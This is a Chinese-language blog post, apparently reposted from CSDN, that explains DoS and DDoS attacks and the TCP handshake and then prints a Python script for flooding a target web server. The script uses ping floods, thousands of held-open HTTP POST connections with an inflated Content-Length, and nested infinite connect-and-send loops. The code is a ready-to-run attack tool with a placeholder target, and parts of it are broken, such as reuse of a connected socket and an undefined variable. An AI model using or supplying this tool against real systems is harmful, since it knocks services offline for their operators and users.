Linux攻防(三)——python实现DDOS攻击

首先说一下dos和ddos的区别:

DoS:是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。

DDOS:分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高威力。

详细解释以下dos攻击原理:

举一个最通俗的例子,下面的图片是TCP的通信的三次握手,如果说攻击端,发送完第一次握手的数据后,然后就“消失”了,那么服务器就会不断的发送第二次握手的数据,可是攻击端的人找不到了。于是,服务器的资源大量被消耗,直到死机为止。当然要完全弄懂机制,需要对TCP有相当深入的了解。

计算机网络会学到TCP三次握手,不理解的可以去百度,深入理解一下原理。

DDOS就是分布式拒绝服务攻击,将多个计算机联合起来,同时发动攻击。

上一段疯狂ping和socker链接的代码

import socket
import time
import threading
#Pressure Test,ddos tool

#---------------------------
MAX_CONN=20000
PORT=80
HOST="目标地址"
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
import os
os.system("ping -n 100 -l 100 " + HOST)
socks=[]
def ddos():
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    while 1:
        s.connect((HOST,PORT))
        s.send(buf.encode())
        s.send(buf.encode())
        s.send(buf.encode())

def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            s.send(buf.encode())
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            socks.append(s)
        except Exception as ex:
            print ("Could not connect to server or send error:%s"%ex)
            time.sleep(0.1)
#end def

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
                #print "send OK!"
            except Exception as ex:
                print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(0.1)
#end def

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())

conn_th.start()
send_th.start()
ddos()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while 1:
    s.connect((HOST,PORT))
    s.send(buf.encode())
    s.send(buf.encode())
    s.send(buf.encode())
    print ("Send buf OK!,conn=%d\n"%i)
    while 1:
        s.connect((HOST,PORT))
        s.send(buf.encode())
        s.send(buf.encode())
        s.send(buf.encode())
        print ("Send buf OK!,conn=%d\n"%i)
        while 1:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            s.send(buf.encode())
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            while 1:
                s.connect((HOST,PORT))
                s.send(buf.encode())
                s.send(buf.encode())
                s.send(buf.encode())
                print ("Send buf OK!,conn=%d\n"%i)
                while 1:
                    s.connect((HOST,PORT))
                    s.send(buf.encode())
                    s.send(buf.encode())
                    s.send(buf.encode())
                    print ("Send buf OK!,conn=%d\n"%i)
                    while 1:
                            s.connect((HOST,PORT))
                            s.send(buf.encode())
                            s.send(buf.encode())
                            s.send(buf.encode())
                            print ("Send buf OK!,conn=%d\n"%i)


可以自己用自己的虚拟机当作肉鸡自己玩玩,不要恶意攻击。

发布了12 篇原创文章 · 获赞 19 · 访问量 5492

猜你喜欢

转载自blog.csdn.net/Hao_ge_666/article/details/104683884